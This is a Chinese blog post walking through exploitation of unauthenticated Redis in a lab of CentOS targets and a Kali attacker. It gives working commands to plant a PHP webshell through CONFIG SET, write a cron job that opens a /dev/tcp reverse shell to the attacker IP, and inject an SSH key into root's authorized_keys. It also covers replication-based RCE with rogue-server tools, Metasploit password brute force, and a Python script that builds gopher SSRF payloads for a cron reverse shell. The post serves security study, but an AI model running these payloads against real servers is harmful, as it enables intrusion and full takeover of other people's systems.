Redis漏洞【总结】未授权访问复现与利用

已于 2022-06-12 11:30:52 修改
阅读量1.4k 收藏 11
点赞数 2
分类专栏： 学习 文章标签： redis
于 2021-04-20 00:15:11 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45300786/article/details/115862969
版权

【Linux】安装httpd+php

一、安装redis服务

kali:192.168.100.23

靶机（centos）：192.168.100.20

靶机（centos）安装redis服务

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(如果下载不下来的话：http://distfiles.macports.org/redis/）

解压安装包：tar xzf redis-2.8.17.tar.gz
在这里插入图片描述

进入redis目录：cd redis-2.8.17安装：make
在这里插入图片描述
在这里插入图片描述
make结束后，进入src目录：cd src，
将redis-server和redis-cli拷贝到/usr/bin目录下（这样启动redis-server和redis-cli就不用每次都进入安装目录了）

cp redis-server /usr/bin/
cp redis-cli /usr/bin/

在这里插入图片描述
返回目录redis-2.8.17，将redis.conf拷贝到/etc/目录下：

cp redis.conf /etc/

在这里插入图片描述
使用/etc/目录下的reids.conf文件中的配置启动redis服务：

redis-server /etc/redis.conf

在这里插入图片描述

kali安装redis服务和上图一样。

二、漏洞复现

2.1——写入webshell

要求

成功连接redis服务器

知道web根目录的绝对路径

redis服务器用户有写入权限

攻击机登录靶机的redis服务

在这里插入图片描述

目标：在服务器端/var/wwww/html/web目录下写入webshell

CONFIG SET dir "/var/www/html/"  //chang database file location

CONFIG SET dbfilename qidao.php       //change database file name

set x "<?php phpinfo();?>"         //inject shell payload into database

save          //save database to file

在这里插入图片描述
成功写入
在这里插入图片描述

2.2——计划任务反弹shell

要求：

centos服务主机（其他类型的系统，如ubuntu、Debian 由于redis写到计划任务中的命令总会不可避免的出现乱码，而只有centos主机会忽略乱码继续执行）

kali上开启端口监听
在这里插入图片描述
kali登录redis服务，并写入计划任务。

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.23/6666 0>&1\n\n"

save

在这里插入图片描述
成功反弹shell
在这里插入图片描述

2.3——写入公钥远程连接

CONFIG SET dir /root/.ssh
CONFIG SET dbfilename "authorized_keys"
save
CONFIG GET dir
CONFIG GET dbfilename
save
记得设置后，一定要保存

在这里插入图片描述
当redis以root身份运行，可以给root账户写入SSH公钥文件，直接通过SSH登录目标服务器。

靶机中开启redis服务：redis-server /etc/redis.conf

在靶机中执行 mkdir /root/.ssh 命令，创建ssh公钥存放目录（靶机是作为ssh服务器使用的）

在攻击机中生成ssh公钥和私钥，密码设置为空：

本地生成公私钥文件

ssh-keygen -t rsa

一路回车和y
在这里插入图片描述
进入.ssh目录：cd .ssh/，将生成的公钥保存到1.txt：

这里说一下，公私钥会生成在用户/.ssh我这里用的是root用户，所以就进入 /root/.ssh

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

在这里插入图片描述
链接靶机上的redis服务，

将保存ssh的公钥1.txt写入redis（使用redis-cli -h ip命令连接靶机，将文件写入）：

cat /root/.ssh/1.txt | redis-cli -h 192.168.100.20 -x set tide

在这里插入图片描述
远程登录靶机的redis服务：redis-cli -h 192.168.100.20

并使用 CONFIG GET dir 命令得到redis备份的路径：

CONFIG GET dir

在这里插入图片描述
更改redis备份路径为ssh公钥存放目录（一般默认为/root/.ssh）：

CONFIG SET dir /root/.ssh

在这里插入图片描述
设置上传公钥的备份文件名字为authorized_keys：
然后保存

CONFIG SET dbfilename "authorized_keys"

在这里插入图片描述
检查是否更改成功（查看有没有authorized_keys文件），没有问题就保存然后退出，

至此成功写入ssh公钥到靶机：

在这里插入图片描述
在攻击机上使用ssh免密登录靶机：

ssh -i id_rsa root@192.168.100.20

在这里插入图片描述

2.4——主从复制RCE（Linux）

先来看看什么是redis主从复制

redis为了应对读写流量大的情况时，增加了主从模式，此时，会有一个redis服务器作为主机，其他从属这台主机的redis服务器作为备份机，主机只负责写，从机负责来读，这样就大大减轻了redis主机的读写负担。

利用条件。

redis从4.x版本之后加入了新的模块，通过外部拓展，可以实现在一个redis中实现新的Redis命令的功能，通过写c语言并编译出.so文件

redis:4.x - redis:5.0.5

在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到 从机

上。然后在从机上加载so恶意文件，就可以拓展新命令

主从同步示例

这边开两台redis_docker

redis 5.0.4的测试环境已搭好上传至dockerhub 有需要的：docker pull beglage/centos_redis_5

从dockerhub上拉取镜像
docker pull beglage/centos_redis_5
查看本地docker镜像
docker images

在这里插入图片描述
启动第一个redis——docker容器

docker run -td --name redis -p 6378:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init

在这里插入图片描述
启动第二个redis——docker容器

docker run -td --name redis2 -p 6377:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init

在这里插入图片描述
查看docker容器

docker ps

在这里插入图片描述
我们先来看看这2个docker容器的ip

docker exec -it a040056d75d3 /bin/bash
docker exec -it 5a7971dcfa1c /bin/bash

在这里插入图片描述
然后通过slaveof可以设置主从状态（同步状态），这样一来数据就会自动同步了

redis-cli -h 172.17.0.2
redis-cli -h 172.17.0.3
redis-cli -h 172.17.0.2
SLAVEOF 172.17.0.3 6379
get c
redis-cli -h 172.17.0.3
get c
redis-cli -h 172.17.0.3
set c 1
get c
redis-cli -h 172.17.0.2
get c

在这里插入图片描述

环境搭建好后，我们现在来复现。

复现环境

kali：192.168.100.34

redis-dokcer1:172.17.0.2

redis-dokcer2:172.17.0.3

有下图可以知道，172.17.0.2是属于172.17.0.3，那么172.17.0.2就是从机，我们攻击从机就行了
在这里插入图片描述

网上收集两个比较方便的getshell python脚本
漏洞利用1-1
https://github.com/n0b0dyCN/redis-rogue-server

python3 redis-rogue-server.py --rhost 172.17.0.2 --lhost 192.168.100.34

在这里插入图片描述
漏洞利用1-2
https://github.com/n0b0dyCN/redis-rogue-server
kali先开启监听
在这里插入图片描述

python3 redis-rogue-server.py --rhost 172.17.0.2 --lhost 192.168.100.34

在这里插入图片描述
反弹shell成功
在这里插入图片描述

漏洞利用2
https://github.com/Ridter/redis-rce

在Redis 4.x之后，Redis新增了模块功能，通过外部拓展，可以在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。编写恶意so文件的代码 https://github.com/RicterZ/RedisModules-ExecuteCommand
因为编写恶意so文件代码的文件莫得了，我这里就借下图。
在这里插入图片描述
反弹到其他服务器：
在这里插入图片描述

2.5——redis密码暴力破解

redis开启密码验证。
https://itbilu.com/linux/management/Ey_r7mWR.html

vi /etc/redis.conf

找到这一行，去掉#号

在这里插入图片描述

添加-a参数可以指定密码访问
在这里插入图片描述
使用msf的auxiliary/scanner/redis/redis_login模块，配置攻击目标

在这里插入图片描述

2.6——Windows自启动

敬请期待。

2.7 ssrf、redis与gopher

如果通过ssrf探测到内网某ip开启了6379端口，并存在未授权，如何结合gopher协议来写shell。

gopher是Internet上一个非常有名的信息查找系统，它将Internet上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处。在WWW出现之前，gopher是Internet上最主要的信息检索工具，gopher站点也是最主要的站点，使用tcp70端口。但在WWW出现后，gopher失去了昔日的辉煌。现在它基本过时，人们很少再使用它；

gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

gopher协议格式：

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70

如果发起post请求，回车换行需要使用%0d%0a，如果存在多个参数，参数之间的&也需要进行URL编码。注意%0d%0a是\r\n的URL编码。

gopher发送请求HTTP GET请求:

curl gopher://192.168.194.1:6666/_abcd

注意：abcd是要传递的数据，_会被吃掉不会传递过去

由于gopher协议规则比较复杂，这里借助一个github的工具来生成payload：https://github.com/firebroo/sec_tools

只需要在redis-over-gopher/redis.cmd中写入redis执行的命令，比如下面的命令直接在web目录下写shell

flushall
config set dir /var/www/html
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

编辑好后运行redis-over-gopher/redis-over-gopher.py

python redis-over-gopher.py

就可以生成支持gopher协议的payload：
使用curl运行payload:(生成的编码把ip改成靶机ip就行了
在这里插入图片描述
成功写入。
在这里插入图片描述
注：需要将内容再进行一次url编码传到web的参数中才会正常运行

使用ssrf端口探测的时候，不要拘泥于http协议，还可以使用dict协议来进行探测

利用gopher协议反弹shell

/*gopher协议反弹shell利用脚本*/
import urllib
protocol="gopher://"
ip="192.168.100.23"
port="6379"
reverse_ip="192.168.100.34"
reverse_port="6666"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
   "set 1 {}".format(cron.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload

攻击机开启监听
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考文章：
https://paper.seebug.org/975/
https://www.cnblogs.com/bmjoker/p/9548962.html
https://blog.csdn.net/weixin_43252204/article/details/115181128?utm_source=app&app_version=4.5.4

樱浅沐冰
关注
  • 2
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Redis未授权访问漏洞复现（三种方式）
weixin_55843787的博客
03-29 9433
redis未授权访问漏洞
关于Redis未授权访问漏洞利用的介绍与修复建议
01-21
本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容，文中对该漏洞进行了详细，并给出了相对应的修复/安全建议，下面话不多说了，来一起看看详细的介绍吧。 一、漏洞介绍 Redis 默认情况下，会绑定在 0.0....
Redis未授权访问漏洞复现
weixin_55123346的博客
06-26 1097
Redis漏洞复现
redis未授权访问漏洞复现
最新发布
zkaqlaoniao的博客
06-27 407
攻击者在未授权访问Redis的情况下，利用Redis自身的提供的config命令，可以进行写文件操作，攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务器登录目标服务器(1) Redis绑定在6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网(2) 没有设置密码认证（默认为空）或者弱密码，可以免密码登录redis服务。
漏洞复现之Redis未授权访问
m0_56190544的博客
09-13 2193
本文详细介绍了redis未授权访问漏洞的原理以及利用方法，供大家参考学习
Redis未授权访问漏洞复现与利用
Forget_liu的博客
06-07 2429
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
Redis未授权漏洞复现及利用（window,linux）
dreamthe的博客
03-22 1万+
1.了解redis Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。从2010年3月15日起，Redis的开发工作由VMware主持。从2013年5月开始，Redis的开发由Pivota赞助。 2.redis漏洞原理 Redis默认情况下是绑定在0.0.0.0:6379端口的，如果没有设置密码（一般密码为空）或者密码为弱密码的情况下并且也没有
redis未授权漏洞复现
weixin_64972949的博客
05-08 535
Redis，英文全称是Remote Dictionary Server（远程字典服务），是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。与MySQL数据库不同的是，Redis的数据是存在内存中的。它的读写速度非常快，每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存，另外，Redis也经常用来做分布式锁。除此之外，Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。
redis未授权访问漏洞【vulhub靶场】复现
m0_55854679的博客
08-01 757
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上；如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹
Redis 未授权访问的原理、危害及复现
新青年1号
01-03 1517
Redis 未授权访问准确的来说，其实并不是一个漏洞。而是由于开发人员配置不当，而产生的预料之外的危害
Redis未授权访问配合SSH key文件利用详解
09-09
本文将详细讨论一个常见的安全问题：Redis未授权访问配合SSH key文件利用。 Redis默认监听在`0.0.0.0:6379`，这意味着它对所有网络接口开放，如果不加以限制，任何能够访问到服务器的人都可以尝试连接Redis。特别是...
NAT模式详解（进阶篇）
热门推荐
qq_45300786的博客
11-21 2万+
再说NAT模式之前，我们先来复习一下桥接模式是怎样运行的。(这里我是用VMware来说的） 桥接模式是跟物理机在同一个网段，并且和物理机用的同一个路由器， 1、我们先看物理机的网段，然后再把虚拟机的网段配置成和物理机一样 比如物理机的网段是192.168.1.3 2、虚拟机也要是相同的网段 3、然后我们试一下物理机能否与虚拟机通讯。发现可以。 0x01 好了，我们既然知道了桥接模式是怎么工作的了，现在我们来看下NAT是怎么工作的 NAT模式则是在桥接模式之上，但有不同于桥接模式 NAT模式有个单独的路
全网最详细虚拟机网络之桥接模式（小白也能看）
qq_45300786的博客
12-18 1万+
桥接模式的概述 结构 虚拟机里面有三种网络，每一种网络用到的网卡都不一样，仅主机模式是用的VMnet1网卡，NAT用的是VMnet8网卡， 而这里用的是桥接模式用的是VMnet0这张网卡，除开仅主机模式不能访问外网，其他都行，而桥接模式也是两种里面最简单的一种能访问外网的一种模式了。缺点是因为和物理机共用一个网段，所以这样会导致IP地址紧张。还有一种是用NAT模式， 桥接模式就相当于是...
docker save保存命令超详细
qq_45300786的博客
01-09 1万+
如果要将镜像存出到其他地方（本地文件），可以使用 docker save ： 将指定镜像保存成tar对档文件 语法 docker save [ OPTIONS ] IMAGES [ IMAGES… ] 1。该命令支持 -o ， -output ，string参数导出到指定的文件中 2。OPTION：说明 -o :输出到文件 实列1 将镜像 centos生成 c24.tar docker ...
SSH -t rsa方式登录
qq_45300786的博客
02-08 6444
ssh是一种远程登录的命令。 我们可以用这个命令实现在A主机上输入命令，然后让B主机执行命令 但ssh又分为两种，一种是密码登录，一种是密钥登录，今天就说下密钥登录（不需要密码登录） 这里就介绍一下ssh -t rsa登录，这里先说一下，公钥和私钥是一对的，所以私钥可以解开公钥。 原理图如下 但凡使用ssh命令登录，只要不使用秘钥，就算自己登录自己，也是需要密码的。 实列 这里就用slaver自...
redis漏洞利用和复现
09-23
Redis漏洞利用和复现可以通过以下几种方式实现： 1. Redis未授权访问漏洞利用：当Redis服务器未配置访问密码或者访问密码被破解时，攻击者可以通过直接连接Redis服务器并执行恶意命令来获取敏感信息或者控制Redis服务器。 2. Redis远程代码执行漏洞利用：当Redis服务器开启了AOF（Append Only File）功能且AOF文件的写入权限配置不当时，攻击者可以通过向AOF文件写入恶意Redis命令并触发重启操作来实现远程代码执行。 3. Redis模块功能的利用：在Redis 4.x版本之后，引入了模块功能，攻击者可以通过编写恶意的Redis模块，通过加载该模块并执行恶意命令来实现攻击目标。 在具体的漏洞复现方面，可以参考相关的漏洞利用工具和漏洞复现文章。对于Linux系统的环境，可以找到很多相关的漏洞复现文章和工具，相对比较简单。而对于Windows系统的环境，可能相对较少，但也可以通过虚拟机搭建Linux靶机和Kali攻击机的环境来进行漏洞复现。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值